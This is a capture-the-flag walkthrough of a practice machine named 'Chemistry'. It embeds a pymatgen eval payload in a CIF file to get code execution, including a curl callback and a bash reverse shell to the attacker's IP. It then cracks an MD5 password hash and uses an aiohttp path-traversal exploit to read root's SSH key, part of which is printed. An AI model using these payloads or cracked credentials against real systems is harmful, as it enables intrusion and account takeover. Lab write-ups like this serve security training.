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Chemistry

IP: 10.129.194.167

Setup Metasploit environment
# Open Metasploit
sudo msfconsole
# Metasploit Commands
use multi/handler
workspace -a Chemistry
setg WORKSPACE Chemistry
setg LHOST 10.10.14.140
setg LPORT 1337
setg SRVHOST 0.0.0.0
setg SRVPORT 1080
setg RHOST 10.129.194.167
setg RHOSTS 10.129.194.167

Info Gathering

Enumerate open ports

# Initial Port Scan
db_nmap -p 22,5001 -sC -sV -O -A --open -oN Chemistry.nmap 10.129.194.167

Hosts

Services
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Gaining Access

I was able to access the site using just the IP Address
LINK: http://10.129.194.167:5000/ 

Screenshot Evidence

I registered for an account and was able to sign into the application

Screenshot Evidence

I downloaded the example.cif file to see what the file needs to look like that I upload to the server

# Check out the file
file /home/kali/Downloads/example.cif
cat /home/kali/Downloads/example.cif

Screenshot Evidence

http://10.129.194.167:5000/
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CIF is a file type I had to look up that stands for “crystallographic information file”
I searched Google for "crystallographic information file vulnerability" and found a recent CVE-2024-23346
CVE REFERENCE: https://www.vicarius.io/vsociety/posts/critical-security-flaw-in-pymatgen-library-
cve-2024-23346

Screenshot Evidence

A CIF file is actually a python file that uses the "pymatgen" python library.
The CVE reference article pointed to a Proof of Concept (PoC) in GitHub
There is no input validation on the method .from_transformation_str()
This method insecurely utilizes eval() for processing input, enabling execution of arbitrary code when parsing
untrusted input
POC LINK: https://github.com/materialsproject/pymatgen/security/advisories/GHSA-vgv8-5cpj-qj2f

https://www.vicarius.io/vsociety/posts/critical-security-flaw-in-pymatgen-library-cve-2024-23346
https://www.vicarius.io/vsociety/posts/critical-security-flaw-in-pymatgen-library-cve-2024-23346
https://github.com/materialsproject/pymatgen/security/advisories/GHSA-vgv8-5cpj-qj2f
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PoC Code

data_5yOhtAoR
_audit_creation_date            2018-06-08
_audit_creation_method          "Pymatgen CIF Parser Arbitrary Code Execution Exploit"

loop_
_parent_propagation_vector.id
_parent_propagation_vector.kxkykz
k1 [0 0 0]

_space_group_magn.transform_BNS_Pp_abc  'a,b,[d for d in ().__class__.__mro__[1].__getattribute__
( *[().__class__.__mro__[1]]+["__sub" + "classes__"]) () if d.__name__ == "BuiltinImporter"][0].load_module
("os").system ("touch pwned");0,0,0'

_space_group_magn.number_BNS  62.448
_space_group_magn.name_BNS  "P  n'  m  a'  "

I copied the _space_group_magn.transform_BNS_Pp_abc line and placed it into example.cif to see if it would
simply execute that way
It took a little playing around but I discovered I needed three lines from the PoC added to the bottom of
example.cif to catch a response
I used a curl request to hit a webserver on my attack machine to see if this would catch a response and it did
Contents of example.cif

data_Example
_cell_length_a    10.00000
_cell_length_b    10.00000
_cell_length_c    10.00000
_cell_angle_alpha 90.00000
_cell_angle_beta  90.00000
_cell_angle_gamma 90.00000
_symmetry_space_group_name_H-M 'P 1'
loop_
 _atom_site_label
 _atom_site_fract_x
 _atom_site_fract_y
 _atom_site_fract_z
 _atom_site_occupancy
 H 0.00000 0.00000 0.00000 1
 O 0.50000 0.50000 0.50000 1

_space_group_magn.transform_BNS_Pp_abc  'a,b,[d for d in ().__class__.__mro__[1].__getattribute__
( *[().__class__.__mro__[1]]+["__sub" + "classes__"]) () if d.__name__ == "BuiltinImporter"][0].load_module
("os").system ("curl http://10.10.14.140/legin.png");0,0,0'
_space_group_magn.number_BNS  62.448
_space_group_magn.name_BNS  "P  n'  m  a'  "

Start the webserver and watch the access log file

# Start webserver
sudo systemctl start apache2

# Watch logs
sudo tail -f /var/log/apache2/access.log

I then uploaded example.cif to the target

Screenshot Evidence
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I clicked the “View” button and proved the RCE

Screenshot Evidence

I started a listener to catch the reverse shell

# Metasploit Commands
use multi/handler
set LHOST 10.10.14.140
set LPORT 1337
set payload generic/shell_reverse_tcp
run -j

I used a reverse shell generator to get  a bash command that would catch a shell. I needed to use the Bash -i
template they had
REFERENCE: https://www.revshells.com/

I also needed to open a new bash process to open it in making the reverse shell command this

/bin/bash -c \'sh -i >& /dev/tcp/10.10.14.140/1337 0>&1\'

I started a listener

In the GUI I deleted the previous example.cif upload and then reuploaded my new version
Contents of example.cif

data_Example

https://www.revshells.com/
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_cell_length_a    10.00000
_cell_length_b    10.00000
_cell_length_c    10.00000
_cell_angle_alpha 90.00000
_cell_angle_beta  90.00000
_cell_angle_gamma 90.00000
_symmetry_space_group_name_H-M 'P 1'
loop_
 _atom_site_label
 _atom_site_fract_x
 _atom_site_fract_y
 _atom_site_fract_z
 _atom_site_occupancy
 H 0.00000 0.00000 0.00000 1
 O 0.50000 0.50000 0.50000 1

_space_group_magn.transform_BNS_Pp_abc  'a,b,[d for d in ().__class__.__mro__[1].__getattribute__
( *[().__class__.__mro__[1]]+["__sub" + "classes__"]) () if d.__name__ == "BuiltinImporter"][0].load_module
("os").system ("/bin/bash -c \'sh -i >& /dev/tcp/10.10.14.140/1337 0>&1\'");0,0,0'
_space_group_magn.number_BNS  62.448
_space_group_magn.name_BNS  "P  n'  m  a'  "

This gained me access to the target machine

Screenshot Evidence

I then loaded a PTY shel

# Command Executed in Shell
python3 -c 'import pty;pty.spawn("/bin/bash")'

Screenshot Evidence

Inside my app users home directory is a directory called “instance” which contains a database file for SQLLite
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# Commands Executed
ls -la
ls instance

# Read the database file
strings instance/database.db

Screenshot Evidence

Inside the database file I can see usernames and password hashes.
One of them is for the tobor user I created

Screenshot Evidence
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The other user with a home directory on this machine is rosa so I attempt to crack her password and see if she re-
used it

# What user has a home dir
ls /home

# On Attack machine create rosa.hash
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echo '63ed86ee9f624c7b14f1d4f43dc251a5' > rosa.hash

# Identify hash type which appears to be MD5
hashid
63ed86ee9f624c7b14f1d4f43dc251a5

# Attempt to crack it
john --format=raw=md5 -w=/usr/share/wordlists/rockyou.txt rosa.hash

This successfully cracked her password

Username Password

rosa unicorniosrosados

Screenshot Evidence

I used the Metasploit ssh_login module

# Metasploit Commands
use scanner/ssh/ssh_login
set USERNAME rosa
set PASSWORD unicorniosrosados
run -j

The credentials successfully logged rosa in and I could read the user flag

# Enter the Metasploit session
sessions -i 2

# Open a PTY
python3 -c 'import pty;pty.spawn("/bin/bash")'

# Read the flag
cat ~/user.txt

Screenshot Evidence
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USER FLAG: 67d123f38c9c0cfeac6e5719249321a1

PrivEsc

Rosa does not have any sudo permissions so if I am going to elevate privileges it needs to be through a service
I checked listening ports and found port 8080 is running something

# View listening ports
ss -tunlp

Screenshot Evidence

I was not able to discover process information with lsof or ps for port 8080
Use curl on the target machine to reach the service which is in fact a site
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# Contact site
curl 127.0.0.1:8080

Screenshot Evidence

In the /opt directory there is a folder /opt/monitoring_site
There is nothing in /var/www which indicates this site is hosted there
I am unable to access that directory as my current user

# Enumerate directory
ls -la /opt/monitoring_site

Screenshot Evidence

I setup an SSH proxy so I can communicate with the site on my attack machine

# Create Socks5 Proxy
ssh -L 8000:127.0.0.1:8080 rosa@chemistry.htb
Password: unicorniosrosados

Screenshot Evidence
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I am now able to access the site 
Notice this has the ability to start and stop services. These do not work yet so we have to look somewhere else
LINK: http://127.0.0.1:8000/

Screenshot Evidence

http://127.0.0.1:8000/
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I could not find much info on the site but in the site headers I see a version Python/3.9 aiohttp/3.9.1

Screenshot Evidence

I Google search for aiohttp 3.9.1 exploit returned a more recent CVE-2024-23334 which is an LFI
PoC LINK: https://github.com/wizarddos/CVE-2024-23334

Screenshot Evidence

https://github.com/wizarddos/CVE-2024-23334


14/17

I cloned the repo and attempted the exploit which was successful when defining the assets URI

# Clone repo
git clone https://github.com/wizarddos/CVE-2024-23334
cd CVE-2024-23334
python3 exploit.py -u http://127.0.0.1:8000 -f /etc/passwd -d /assets

Screenshot Evidence
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I checked to see if I could read the root users SSH key and I could

Screenshot Evidence
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I saved the SSH key to my machine and used it to access the device as root and read the flag

# Root Users SSH Key
-----BEGIN OPENSSH PRIVATE KEY-----17/17

1arrDbm+uzE+QNAAAADnJvb3RAY2hlbWlzdHJ5AQIDBA==
-----END OPENSSH PRIVATE KEY-----

# Set correct permissions on the key file
chmod 600 root-chemistry.key

# SSH into the target
ssh -i root-chemistry.key root@chemistry.htb

# Read the flag
cat /root/root.txt
# RESULTS
d25029f0a83a079ae466681a4ec8b441

Screenshot Evidence

ROOT FLAG: d25029f0a83a079ae466681a4ec8b441


